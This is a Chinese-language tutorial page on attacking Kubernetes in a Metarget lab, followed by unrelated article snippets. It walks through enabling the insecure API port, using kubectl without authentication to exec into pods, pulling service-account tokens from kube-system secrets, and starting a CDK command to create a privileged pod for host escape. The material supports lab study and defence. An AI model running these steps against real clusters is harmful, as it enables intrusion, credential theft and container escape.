当前位置: 首页 > news >正文

Kubernetes(K8S)各种攻击方法

1. 准备工作

1.1. metarget使用

项目地址(教程):https://github.com/Metarget/metarget/blob/master/README-zh.md
注意:推荐在Ubuntu 18.04(推荐)安装。

1.1.1. 安装metarget

git clone https://github.com/Metarget/metarget.git
cd metarget/ 
sudo apt install python3-pip
pip3 install -r requirements.txt -i http://pypi.douban.com/simple --trusted-host pypi.douban.com

1.1.2. 安装k8s漏洞环境

先安装docker
./metarget gadget install docker --version 18.03.1安装指定版本的k8s:
./metarget gadget install k8s --version=1.16.5 --domestic //采用国内源安装。Metarget支持部署多节点Kubernetes集群环境,如果想要部署多节点,在单节点部署成功后,将tools目录下生成的install_k8s_worker.sh脚本复制到每个工作节点上执行即可。

image.png
image.png
image.png
Metarget支持部署多节点Kubernetes集群环境,如果想要部署多节点,在单节点部署成功后,将tools目录下生成的install_k8s_worker.sh脚本复制到每个工作节点上执行即可。
执行install_k8s_worker.sh后执行列出当前节点命令错误,提示The connection to the server localhost:8080 was refused - did you specify the right host or port?
解决方法:

cd /etc/kubernetes/
查看到有个文件:kubelet.conf
(你们的有可能是admin.conf)执行命令
echo "export KUBECONFIG=/etc/kubernetes/kubelet.conf" >> /etc/profile
source /etc/profile再次查看 kubectl get pod 已经正常。原因: kubernetes master没有与本机绑定,集群初始化的时候没有绑定,此时设置在本机的环境变量即可解决问题。From:https://blog.csdn.net/zw421152835/article/details/123312072

image.png
Worker节点的ROLES并不像Master节点那样显示“master”而是显示了,这是因为新安装的Kubernetes环境Node节点有时候会丢失ROLES信息,遇到这种情况可以手工进行添加,具体命令如下

kubectl label node vm-0-8-ubuntu node-role.kubernetes.io/worker=worker

image.png

1.2. 判断当前环境

  • 根目录下/.dockerenv 文件存在即docker环境。
  • /proc/1/cgroup 内若包含docker或kube字符串则是在docker环境或k8s pod 之中。
  • 没有常见命令。
  • 查看环境变量中是否有k8s或者docker字符串(命令:env)
  • 查看端口开放情况(netstat -lntp),如果开放了一些特殊端口如6443、8080(api server),2379(etcd),10250、10255(kubelet),10256(kube-proxy) 那么可以初步判定为是在k8s环境中的一台Node或者master,这个方法亦可用于端口扫描探测目标主机是否为k8s集群中的机器。
  • 查看当前网段,k8s中 Flannel网络插件默认使用10.244.0.0/16网络,Calico默认使用192.168.0.0/16网络,如果出现在这些网段中(特别是10.244网段)那么可以初步判断为集群中的一个pod。pod里面没有命令很少,可以通过hostname -I(大写i)来查看ip地址。

2. 漏洞复现

2.1. Api Server 未授权访问(8080与6443)

部署在Master上暴露Kubernetes API,是Kubernetes的控制面。Kubernetes API服务器为API对象验证和配置数据,这些对象包含Pod,Service,ReplicationController等等。API Server提供REST操作以及前端到集群的共享状态,所有其他组件可以通过这些共享状态交互。
默认情况,Kubernetes API Server提供HTTP的两个端口:8080,6443。insecure-port: 默认端口8080,在HTTP中没有认证和授权检查。secure-port :默认端口6443, 认证方式,令牌文件或者客户端证书,如下图访问http://IP:8080。
一个6443和一个8080,前者会进行鉴权,后者不会。
https://192.168.3.135:6443/
image.png
http://192.168.3.135:8080/
image.png

2.1.1. 8080端口未授权访问

1、漏洞环境配置。
测试了几个版本的k8s,发现在新版本后,–insecure-port=8080配置默认就关闭了

vim  /etc/kubernetes/manifests/kube-apiserver.yaml

这里设置为0表示关闭,甚至在高版本的k8s中,直接将–insecure-port这个配置删除了。
image.png
需要手动添加,这里将修改为8080,并添加配置。

- --insecure-port=8080
- --insecure-bind-address=0.0.0.0systemctl restart kubelet

image.png
添加成功。
image.png

2、通过kubectl远程操作k8s。

-s 或-server 设置 API Server 的 URL 地址,而不使用默认值。
kubectl -s 192.168.3.135:8080 get node

执行获取node、pod指令。
image.png
进入指定pod执行命令。

kubectl -s 127.0.0.1:8080 --namespace=default exec -it nginxfromuzju-59595f6ffc-p8xvk bash
kubectl -s 192.168.3.135:8080 --namespace=default exec -it testapp-684dd9795-ktk5n bash

image.png
注意:在高版本的k8s中,这种方法无效。

3、获取service-account-token。
可以通过访问api来获取token。

/api/v1/namespaces/kube-system/secrets/

image.png
4、创建特权容器,挂载宿主机根目录逃逸。
cdk下载地址:https://github.com/cdk-team/CDK

./cdk_linux_amd64 kcurl anonymous post 'http://192.168.3.140:8080/api/v1/namespaces/default/pods?fieldManager=test-4444' <

相关文章:

Kubernetes(K8S)各种攻击方法

1. 准备工作 1.1. metarget使用 项目地址(教程):https://github.com/Metarget/metarget/blob/master/README-zh.md 注意:推荐在Ubuntu 18.04(推荐)安装。 1.1.1. 安装metarget git clone https://github.com/Metarget/metarget.git cd metarget/ sudo apt install pyt…...

【MySQL】内外连接

内外连接 一、内连接二、外连接1、左外连接2、右外连接 表的连接分为内连和外连。 一、内连接 内连接实际上就是利用where子句对两种表形成的笛卡儿积进行筛选。只不过为了让sql的可读性更好&#xff0c;我们使用其他的关键字进行内连接。 语法&#xff1a; SELECT ... FRO…...

selenium执行出现异常,SessionNotCreatedException ChromeDriver only supports

问题现状&#xff1a; 运行程序报错&#xff1a; selenium.common.exceptions.SessionNotCreatedException: Message: session not created: This version of ChromeDriver only supports Chrome version 114 Current browser version is 121.0.6167.85 with binary path /App…...

Flink:快速掌握批处理数据源的创建方法

Flink 社区最近 “基于FLIP-27” 设计了新的 Source 框架 。一些连接器&#xff08;API&#xff09;已迁移到这个新框架。本文介绍了如何使用这个新框架创建批处理源。 它是在为Cassandra实现Flink 批处理源时构建的。如果您有兴趣贡献或迁移连接器&#xff0c;这篇文章非常适合…...

基于cubeMX的正点原子miniSTM32对W25Q64的存储使用

一、实现目标 使用cubeMX建立项目工程&#xff0c;结合正点原子提供的hal库对W25Q64闪存调用的例程&#xff0c;实现W25Q64的读写。 二、实现过程 1、首先建立cubeMX工程&#xff0c;其他项设置不再叙述&#xff0c;只看连接W25Q64的SPI设置&#xff0c;这里使用SPI1&#xf…...

C++笔记(三)

封装意义: 在设计类的时候&#xff0c;属性和行为写在一起&#xff0c;表现事物 类在设计时&#xff0c;可以把属性和行为放在不同的权限下&#xff0c;加以控制。 访问权限有三种&#xff1a; public 公共 类内 类外都可以访问&#xff0c; protected保护 类内可以访问…...

c语言不定参数

时间记录&#xff1a;2024/1/22 一、不定参数的函数定义和使用到的c函数 &#xff08;1&#xff09;定义 void fun1(参数类型 argName,...); 示例&#xff1a; void fun1(int count,...);&#xff08;2&#xff09;获取不定参数的值 #include <stdarg.h> //包含头文件…...

云手机与实体手机的对比

在数字化时代&#xff0c;云手机作为一种虚拟手机在云端服务器上运行&#xff0c;与传统的实体手机相比存在诸多差异。让我们深入探讨云手机与实体手机之间的区别&#xff0c;以便更好地了解它们的特点和优势。 外观上的差异 实体手机具有实际的外观和重量&#xff0c;占据一定…...

diffusion 和 gan 的优缺点对比

sample速度GAN更快&#xff0c;Diffusion需要迭代更多次。 训练难度GAN 的训练可能是不稳定的&#xff0c;容易出现模式崩溃和训练振荡等问题。Diffusion 训练loss收敛性好&#xff0c;比较平稳。 模拟分布连续性Diffusion相较于GAN可以模拟更加复杂&#xff0c;更加非线性的分…...

VC++中使用OpenCV进行人脸检测

VC中使用OpenCV进行人脸检测 对于上面的图像&#xff0c;如何使用OpenCV进行人脸检测呢&#xff1f; 使用OpenCV进行人脸检测十分简单&#xff0c;OpenCV官网给了一个Python人脸检测的示例程序&#xff0c; objectDetection.py代码如下&#xff1a; from __future__ import p…...

11Docker数据持久化

Docker数据持久化 容器中数据持久化主要有两种方式&#xff1a; 数据卷&#xff08;Data Volumes&#xff09;数据卷容器&#xff08;Data Volumes Dontainers&#xff09; 数据卷 数据卷是一个可供一个或多个容器使用的特殊目录&#xff0c;可以绕过UFS&#xff08;Unix F…...

RK3588平台开发系列讲解(视频篇)RKMedia框架

文章目录 一、 RKMedia框架介绍二、 RKMedia框架API三、 视频处理流程四、venc 测试案例沉淀、分享、成长,让自己和他人都能有所收获!😄 📢RKMedia是RK提供的一种多媒体处理方案,可实现音视频捕获、音视频输出、音视频编解码等功能。 一、 RKMedia框架介绍 功能: VI(输…...

Vue3 Teleport 将组件传送到外层DOM位置

✨ 专栏介绍 在当今Web开发领域中&#xff0c;构建交互性强、可复用且易于维护的用户界面是至关重要的。而Vue.js作为一款现代化且流行的JavaScript框架&#xff0c;正是为了满足这些需求而诞生。它采用了MVVM架构模式&#xff0c;并通过数据驱动和组件化的方式&#xff0c;使…...

【学网攻】 第(5)节 -- Cisco VTP的使用

文章目录 【学网攻】 第(1)节 -- 认识网络【学网攻】 第(2)节 -- 交换机认识及使用【学网攻】 第(3)节 -- 交换机配置聚合端口【学网攻】 第(4)节 -- 交换机划分Vlan 前言 网络已经成为了我们生活中不可或缺的一部分&#xff0c;它连接了世界各地的人们&#xff0c;让信息和资…...

uniapp复选框 实现排他选项

选择了排他选项之后 复选框其他选项不可以选择 <view class"reportData" v-for"(val, index) in obj" :key"index"> <view v-if"val.type 3" ><u-checkbox-group v-model"optionValue" placement"colu…...

openssl3.2/test/certs - 004 - cross root and root cross cert

文章目录 openssl3.2/test/certs - 004 - cross root and root cross cert概述笔记END openssl3.2/test/certs - 004 - cross root and root cross cert 概述 索引贴 openssl3.2 - 官方demo学习 - test - certs 笔记 // \file my_openssl_linux_log_doc_004.txt // openssl…...

图像分类】【深度学习】【轻量级网络】【Pytorch版本】EfficientNet_V2模型算法详解

【图像分类】【深度学习】【轻量级网络】【Pytorch版本】EfficientNet_V2模型算法详解 文章目录 【图像分类】【深度学习】【轻量级网络】【Pytorch版本】EfficientNet_V2模型算法详解前言EfficientNet_V2讲解自适应正则化的渐进学习(Progressive Learning with adaptive Regul…...

05.Elasticsearch应用(五)

Elasticsearch应用&#xff08;五&#xff09; 1.目标 咱们这一章主要学习Mapping&#xff08;映射&#xff09; 2.介绍 Mapping是对索引库中文档的约束&#xff0c;类似于数据表结构&#xff0c;作用如下&#xff1a; 定义索引中的字段的名称定义字段的数据类型&#xff…...

npm更换镜像

大家好&#xff01;今天给大家分享的知识是如何更换npm镜像 前言 有时候在加载npm时有时会很慢&#xff0c;那是由于node安装插件是从国外服务器下载&#xff0c;受网络影响大&#xff0c;速度慢且可能出现异常&#xff0c;这时候就需要更换镜像&#xff0c;使插件的安装快捷&…...

野指针(C语言)

野指针 //概念:野指针就是指针指向的位置是不可知的(随机的,不正确的 //,没有明确限制的,空间还属于操作系统而不属于程序的) //野指针成因: //1.指针未初始化 #include <stdio.h> int main() { int* p;//局部变量指针未初始化,默认为随机值 //此时p指向的空间不…...

基于STM32的NTC热敏电阻温度采集系统设计与实现

1. NTC热敏电阻温度采集系统概述 在工业控制、智能家居和医疗设备等领域&#xff0c;温度监测都是基础且关键的功能。NTC热敏电阻因其成本低、响应快、精度适中的特点&#xff0c;成为温度传感的常见选择。STM32系列微控制器内置高精度ADC模块&#xff0c;与NTC配合能快速搭建经…...

ICM45686数据老飘?GD32F470的IIC时序调试与FreeRTOS延时函数那些坑

GD32F470与ICM45686通信稳定性优化实战&#xff1a;从时序调试到FreeRTOS延时陷阱 当惯性导航系统的数据出现飘移、丢包或完全无法读取时&#xff0c;多数开发者会首先怀疑传感器硬件问题。但在使用GD32F470与ICM45686构建的系统中&#xff0c;真正的"魔鬼"往往藏在…...

ROG游戏本色彩修复与配置还原完全指南

ROG游戏本色彩修复与配置还原完全指南 【免费下载链接】g-helper Lightweight Armoury Crate alternative for Asus laptops. Control tool for ROG Zephyrus G14, G15, G16, M16, Flow X13, Flow X16, TUF, Strix, Scar and other models 项目地址: https://gitcode.com/Git…...

3分钟搞定Windows启动盘制作:WinDiskWriter让macOS用户告别复杂命令行

3分钟搞定Windows启动盘制作&#xff1a;WinDiskWriter让macOS用户告别复杂命令行 【免费下载链接】windiskwriter &#x1f5a5; A macOS app that creates bootable USB drives for Windows. &#x1f6e0; Patches Windows 11 to bypass TPM and Secure Boot requirements. …...

Java if 分支

一、什么是Java if条件语句&#xff1f;if条件语句是一种分支控制语句&#xff0c;核心逻辑是&#xff1a;先判断一个条件表达式的真假&#xff0c;若为true则执行一段代码&#xff0c;若为false则不执行&#xff08;或执行其他代码&#xff09;。二、Java if语句的4种核心语法…...

SEO_网站SEO诊断与性能优化的关键步骤

<h3 id"seo">网站SEO诊断与性能优化的关键步骤</h3> <p>在当今竞争激烈的互联网环境中&#xff0c;一个成功的网站不仅需要精美的设计&#xff0c;还需要优化的搜索引擎优化&#xff08;SEO&#xff09;和高效的性能。SEO和性能优化不仅能够提高网…...

必收藏!大模型风口下,程序员/小白必看的就业方向与岗位解析

这两年大模型的热度可谓居高不下&#xff0c;堪称技术圈的“全民热点”&#xff0c;无论是深耕传统技术栈的开发者——比如Java、C工程师、前端开发者、数据分析师、架构师&#xff0c;还是刚入门的技术小白&#xff0c;都在主动“卷”大模型相关技能&#xff0c;生怕被行业迭代…...

ROS2 Humble中rosbridge_server配置详解:从安装、启动到自定义端口的完整流程

ROS2 Humble中rosbridge_server深度配置指南&#xff1a;从基础部署到高级定制 在机器人操作系统(ROS)的生态中&#xff0c;rosbridge_server扮演着至关重要的桥梁角色&#xff0c;特别是在ROS2 Humble版本中。这个轻量级的中间件允许非ROS环境&#xff08;如Web应用、移动App…...

【STM32F407VET6开发】第二章 Keil 5环境配置与Pack Installer实战指南

1. Keil 5环境配置全流程解析 第一次接触STM32开发的朋友&#xff0c;安装完Keil 5后往往会遇到各种环境配置问题。我当年用STM32F407VET6做第一个项目时&#xff0c;光是让开发环境跑起来就折腾了两天。现在回头看&#xff0c;其实只要掌握几个关键步骤&#xff0c;整个过程可…...

魔百和CM211-1机顶盒s905l3b芯片刷机实战:从安卓到Armbian全流程解析

1. 魔百和CM211-1机顶盒硬件拆解 先来看看这台设备的硬件底子。拆开CM211-1的黑色外壳&#xff0c;最显眼的就是那块s905l3b芯片——这是整个刷机过程的灵魂所在。这个四核Cortex-A53架构的处理器&#xff0c;主频能跑到1.8GHz&#xff0c;配上Mali-G31 MP2 GPU&#xff0c;性能…...